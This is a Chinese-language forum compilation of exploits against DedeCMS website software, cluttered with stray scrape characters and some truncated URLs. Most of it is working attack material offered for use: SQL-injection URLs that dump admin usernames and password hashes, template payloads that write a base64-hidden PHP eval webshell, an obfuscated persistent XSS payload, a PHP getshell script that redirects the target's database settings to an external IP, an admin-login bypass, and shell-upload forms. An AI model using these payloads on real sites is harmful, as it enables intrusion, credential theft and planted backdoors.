dedecms漏洞总结

admin

% y* a4 M5 e7 ]+ G) Q5 k% jDedecms 5.6 rss注入漏洞
" C* J! Y8 J2 M5 C4 K1 [1 uhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

4 [: w: {7 _% c8 Y
4 I( O: h% `7 M
$ H; o' d+ m! ~
% b8 t: b1 r" g& e% A1 ^
4 Y& {& j, y7 R5 f6 A! u+ A
1 x6 O- O+ D7 O' q

( L! i5 X$ B2 W  CDedeCms v5.6 嵌入恶意代码执行漏洞
9 P7 \' s# |. f4 U注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
5 ~8 m4 v7 m, q& e& z9 @7 Fa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。

2 Q) y8 J7 H2 c; Y
9 O& V) t) G, f- I7 b
! t. K$ M4 I* d3 ~" m- g

2 r( P8 R3 Y, |+ h, G3 F3 _0 L3 i8 `
4 g& q+ y3 T! f* Y( p
. D$ s4 o# Y, |9 i
5 C" t8 n  q+ V* t% ODede 5.6 GBK SQL注入漏洞
0 t* ^+ ]3 F) t, b8 chttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
* v6 l# {  F# D5 q$ k
, K. h6 y2 C. E- c( E* G8 N& P

) K- n/ o; W* C! B5 H' y4 t


9 O5 i2 Y! ~! o5 k
% e. \0 i1 }6 z/ o8 r
" K2 H; {( H% z# O$ QDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`


' h/ B9 C4 B# n: v7 p
0 C. ^* M  y. n3 O
7 j( H& L, A$ a& Q) P
, Y6 \; B0 Q" f+ ~
- o# y( J$ Z1 e; H6 ODEDECMS 全版本 gotopage变量XSS漏洞
2 w( G. B' [1 `- I5 j. k( ^1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

1 c9 i. [7 H. V
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
% L& t4 \" J  A" T8 fhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
- L8 z) C( q% B# m. V( b" z9 }3 J: U

$ {' i! d! c0 g; B* g$ ahttp://v57.demo.dedecms.com/dede/login.php


( i4 D0 u' V7 C/ {1 Fcolor=Red]DeDeCMS(织梦)变量覆盖getshell
' G+ J/ B* ]! |7 B& Q' J; E& Y#!usr/bin/php -w
& Q/ ]+ @0 Y7 T1 E3 z<?php
( K' d) ~! \( c0 kerror_reporting(E_ERROR);
set_time_limit(0);
print_r('
  |$ X& M3 q' k, R$ pDEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
# S0 ]; \) I% \. J3 t! B! e$ r);
echo "\r\n";
if($argv[2]==null){
8 P; i( [1 F  ?1 [8 qprint_r('
+---------------------------------------------------------------------------+
' Z5 D9 L# ?" P- G! m* _Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
) h! L8 x' q& U* X/ Z8 L$ i% FExample:
php '.$argv[0].' www.site.com 1 old
, @1 |# h8 t  i+ C* {+---------------------------------------------------------------------------+
');
, D" n8 I+ N4 Bexit;
1 q1 ]: ]9 j# y( v}
$url=$argv[1];
$aid=$argv[2];
  ], Q6 t1 g: G$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
: U3 K) Q& Z# c+ S$ E3 C- l/ o$ E& _echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

0 _( @1 l. ^* a: ~+ s
if($aid==2)echo "
5 x- ^* H& G; X: v, dShell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
4 H5 k" |5 \* ]' c  l, O. g9 |Shell:".$url."/$path/plus/fuck.php\n";

" J' @! r: M: A; U) C* q# a, G
}else{
echo "
Exploit Failed \n";
  ]4 n: K9 J+ G: v! t  Z4 x}
/ f! K7 e& Q: Y) \& v6 I! Hfunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
& ^9 V  i1 x- t. m. a3 g" B$port="80";
4 L9 b9 `+ Q/ N' d$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
. {# \2 w$ @, q2 M$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
& D" P$ L- J6 o& r+ J1 j/ o$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
' x/ X% ?9 {& Z+ S* T( M2 h) I$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
: m: s5 h. S( \- u9 l4 S4 e$data .= $content."\r\n";
; @/ y; n* G, H' j; P- c; V2 i/ V$ock=fsockopen($host,$port);
9 [# K% k3 J5 P" s  E- J# F" Fif (!$ock) {
echo "
9 @! M' Y1 }1 x- FNo response from ".$host."\n";
}
8 l& ^8 B1 S# B0 R3 T2 ]fwrite($ock,$data);
4 ]4 R2 C4 O5 ~7 j7 T6 N2 _* P% bwhile (!feof($ock)) {
$ g4 [" q1 W! H3 N  A& i1 E$exp=fgets($ock, 1024);
" a, X4 ?1 f7 lreturn $exp;
}
}

2 f& R$ Y! g( O% H( ~
?>

6 r0 C( q+ S% g
1 o7 U2 V' s2 R5 k" ]# x; I

( F5 M* q! X7 u


4 |* F: H) g; ~& _
' w9 K% A' o, R6 h' i4 F
! g6 M( w- r0 v) t
" S2 n& ]" g3 C# v) K( l0 M. }9 rDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
; x) v' T* w" g. rhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
: D- {4 U" ^3 k% V4 ^: s; l" a

( Q- I& |! F0 E# h6 M5 _把上面validate=dcug改为当前的验证码，即可直接进入网站后台
$ A0 w) A  a8 F; u
+ q7 F/ B3 E( X) Z" Q* N/ @7 T/ o
此漏洞的前提是必须得到后台路径才能实现
& w- t4 J, S8 k+ m
. N9 }8 ^' Q- D# I- ~. s
" q* ~% U2 p( ^# m2 L, y$ u
; n9 P% V) L9 P, {' c! ?  t, K
; v* R+ M7 D: x+ |/ W2 |
/ i% k# l% x, e0 @3 }




Dedecms织梦 标签远程文件写入漏洞
前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
) I% M) B8 q/ l0 ^: V5 ~) D

$ C, p! {% Q9 z6 l$ K2 t$ S再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
: B6 }9 t1 N& x<form action="" method="post" name="QuickSearch" id="QuickSearch">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
: n; T$ E9 B; }<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
7 R9 w* w5 ]! Q% B  a( g- \! [0 ~<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
( i" i$ u; K) n& M. o<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
; Y; X- `5 P. S2 b. [% `& Z2 C<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
$ \& M2 R& o" X! Z; o% `}
</script>


: R2 w) j& u5 v4 K# G9 D/ \3 W
: B4 F$ H4 G, D7 Y' }


5 w" H' z; S' M& F
# x' }  r6 L! U
4 G$ f3 S. E" m- D) ~

DedeCms v5.6 嵌入恶意代码执行漏洞
6 N& V+ N4 ~. y6 X5 Q2 w6 w$ u! ~3 X注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
1 b% Q' u4 e1 @- C9 ?, e4 ~) Xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
5 A' R3 n' X2 R$ `7 DDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg
  V% ]$ v$ m/ w1 P4 D9 n
) S) L4 L5 c+ E3 ?" L# B
/ }: m4 \; @6 {2 l模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
& H* \4 p% v0 a* V% I+ w, Q! O% z$fp = @fopen("1.php", 'a');
5 d  m) x# l: r7 Z% f@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
" W& n' l3 N' B$ r@fclose($fp);
{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
+ l6 [- ?4 A) i0 L( ^& A<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
8 B6 z. R# B- f$ w& V" ~<input type="hidden" name="oldlitpic" value="" />
3 t' {! J2 j" ]9 T7 g( H<input type="hidden" name="sortrank" value="1275972263" />
9 l6 a% S, m3 J. y

<div id="mainCp">
& H3 z1 k4 s. H! Y$ c; K<h3 class="meTitle"><strong>修改文章</strong></h3>


9 b4 L7 `) x$ x0 N<div class="postForm">
8 W2 S' {, w2 u0 N. u<label>标题：</label>
( K+ J7 K# n6 P+ N<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
/ N8 e$ a2 @) U

; q7 Q) R' c5 G, x. F. {2 `4 G<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)

9 g4 ^) i. O6 e" `8 W; g( A& @
% m% J+ E9 ]: H% l8 _<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


<label>隶属栏目：</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
; i1 i1 g. i5 F3 n* a* v3 {  e</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


<label>我的分类：</label>
, b/ G. V4 o4 X" e8 I" `6 q<select name='mtypesid' size='1'>
( }" \4 e8 ?" r( M  h<option value='0' selected>请选择分类...</option>
1 Q1 S, a* {# G<option value='1' class='option3' selected>hahahha</option>
</select>
: z. a- \& }: k  V
4 y% U& ]+ x" z3 L2 a
" S3 h3 A9 G% {<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
7 g' c; m) D6 Q& r6 Z% B. i: e7 o- ~(内容的简要说明)
, x5 Q# Q  d; m# q1 P, K8 w# J( l

# D' p- f/ x' P/ g2 m8 a! F. P; j<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

& f) e" B6 T% E9 G: ^  w9 j
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
2 _" x( [& h% f+ E2 _5 l& a/ ]3 Gvalue="templet,htmltext;">（这里构造）
</div>
6 v2 I& a) h/ n6 E$ @" L; S3 o

<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
3 ^/ Z  z( y3 ]& I# Z
' C: l& y% C/ f& `. k8 G
<div class="contentShow postForm">
7 J! b  ~- G7 L6 {: c<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>

  g; L8 `( m8 r9 C! w
<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
% Q. J) K' I1 R( m

% w2 v; c5 g/ r" N<button class="button2" type="submit">提交</button>
: y( p4 p7 b: E3 C+ f3 X<button class="button2 ml10" type="reset">重置</button>
</div>
5 J2 a  t$ F0 _& |# o$ n) Z1 }

</div>
  i* y: I* c( b

& w" J, a! k; A/ K  Y+ `</form>
  C& R4 D- j- f/ ?

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
" T! ^! d: e" z. ]* _  V假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
# o# Y3 w1 N1 \, F! F+ l" p即可以在plus目录下生成webshell：1.php


& {4 b$ y$ e( X# q7 D% k& u+ u9 N



% Q8 B) Q: N5 s* n9 |1 M& J5 n
9 p0 `! x. p" ]9 y5 D

2 y- i) |: ?1 T' E3 q
2 Y0 L7 H! ^5 N

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
/ A& Y/ ?- [3 U8 V8 i) e+ a{/dede:field}
保存为1.gif
9 S1 f& m5 f0 x* M" V, [1 B<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
, p" i8 l) I5 T9 b<input type="hidden" name="aid" value="7" />
4 }" w) k* i1 \7 k2 O3 ]<input type="hidden" name="mediatype" value="1" />
/ X. K9 P+ ]7 V<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
4 \0 T+ d/ v# d( p<input name="addonfile" type="file" id="addonfile"/>
  b. W6 H. M# K6 G, z' T<button class="button2" type="submit" >更改</button>
6 Q! c& o2 z5 c</form>
, u+ i5 d) X% B+ R' a! f0 y
) N+ e, E4 `0 w. C; h
! U. Z' x. i0 {0 g* a' _4 t构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
8 c7 q/ K' Q; b4 h- ]发表文章，然后构造修改表单如下：

( [  m) _4 k! R) a0 Y+ a& P
# t- w/ b8 a- r7 s0 m- M<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
2 G8 g7 s; M1 j. k' c  ~<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
) ~! B2 D5 d& B; q<input type="hidden" name="channelid" value="1" />
2 s' V1 E9 n- o( l<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
& ^# x2 j' s6 L+ H0 |  T0 z+ V1 Z' ~<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
* z6 G" f# q" J2 M! @<select name='typeid' size='1'>
. A: V2 H5 x# E<option value='1' class='option3' selected=''>Test</option>
) P' f$ ^# F$ J+ x( C+ }' ^<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
3 C6 l8 v- K, I, {: r<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
  ~$ t$ n" e! O, m( n5 [# p<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
, r6 J  D3 h2 ~( Y) X+ i" v<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
) a6 p3 H* N; F8 Z<button class="button2" type="submit">提交</button>
</form>
6 ~( H8 ~, q' g% R1 T. j
& l$ l4 \" q" L: ^) T+ p
: Z! L+ l# R1 v+ i4 K


2 ?" g+ k% {8 t: D1 F

6 B1 l5 `6 R) _  o


3 j6 q1 ?  r* L2 I$ ~7 V$ e

/ Z9 ^5 @- {  r+ T0 s: Y* Q织梦(Dedecms)V5.6 远程文件删除漏洞
* a) S7 L# F+ E6 q( \) b  Dhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif




; Z3 W; H4 i0 @' m2 h/ L; c; g

. X5 _# V, p* [0 \


* ?; d& R( K+ I+ y, x& O1 q) i
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
& l1 K( H/ ^: f( e- @+ J  i- z% s, P) Qhttp://www.test.com/plus/carbuya ... urn&code=../../
& }8 p" f- B4 V* I7 {  z5 s0 }
* ~  c2 K: d. @
" q3 J* Y/ s; |) N/ G9 V7 D. u

% K  r) A! c. f- T0 t3 N+ U2 M+ I


# B4 Z" x' z5 V% {9 M( f. k: k

8 p# ~9 K) m" C! v- E/ p# `# k
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
3 Q$ Z6 R( g: u
# T. E* [) K* j7 p6 |0 u, Q
5 M: y+ N! v" @$ F* V+ j
/ V) X% r8 n* a4 ?5 k  H3 W) R
3 C( Y  k* B) b4 {
; [3 G" d+ X( W' V# T

% `: @9 v& K) I6 F( Q0 H6 [
% ]2 A  A& }# m* m! N
0 O% r7 z, o5 p( ~
6 I% R( l$ X1 I. C* _- O织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='


/ w' z* u3 V+ q9 l8 B
" A, f3 R+ m! O0 X) i( F






- P0 l- a9 X' y; _织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
<head>
9 J, m! f0 Y7 N7 c; \; L% u<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
6 r4 ^6 d9 ]0 v/ Y0 }3 ^& |+ ?" D</head>
<body style="FONT-SIZE: 9pt">
1 s6 q4 E$ b9 h$ F8 S$ p! ^' D---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
- e/ }0 Q1 j4 U5 u<input type='hidden' name='cfg_basedir' value='../../' />
7 I# N' k9 V/ Y- }/ L<input type='hidden' name='cfg_imgtype' value='php' />
3 i3 C+ H* g9 O) x<input type='hidden' name='cfg_not_allowall' value='txt' />
: _: n) ?' |3 D5 k% _4 N<input type='hidden' name='cfg_softtype' value='php' />
  a, z( F) v4 G8 J<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
1 @; ^$ Q8 X5 g<input type='hidden' name='newname' value='fly.php' />
. S2 s! G3 c1 }Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
+ F2 F) M4 O1 M. {1 x8 ~$ |</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
7 p; F. A7 g0 RNeed register_globals = on...<br />
# B3 w7 Z( w1 H9 Y* y* eFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>
3 v/ _6 U+ d$ `$ w* l  J
* i/ [! W$ O! t0 ~# e4 S7 J, z

& N# q$ P2 n) C4 \/ N. L' `


4 a1 G. I) I6 M) T: _
. |2 Z& V3 V( I- i% R( L
0 K5 t. P8 K6 p1 c; `
5 _- I0 c. S% j) x4 h/ W
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
) X5 s0 v9 a2 P" a9 W: f1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
0 a$ h/ N% Q/ F0 p3 @+ q- r- j. JError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
9 A, y7 |4 ]' R) _' p- E
8 S6 ^$ w/ n; k! }! D/ ?1 j0 T
3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
% K1 |! W/ n0 o9 O  P7 W9 J
7 E3 N" c6 \" p+ s6 B
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
6 O: m% h$ ]3 ], O
8 b  q. X: V3 h0 b4 G
按确定后的看到第2步骤的信息表示文件木马上传成功.








/ Q; Q% N  T: H: I3 n5 L4 ^
* L) }( F3 V4 j4 y

0 P8 D. `! f0 w3 u* ]% ^
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
/ g9 ^+ {- x" {1 `http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*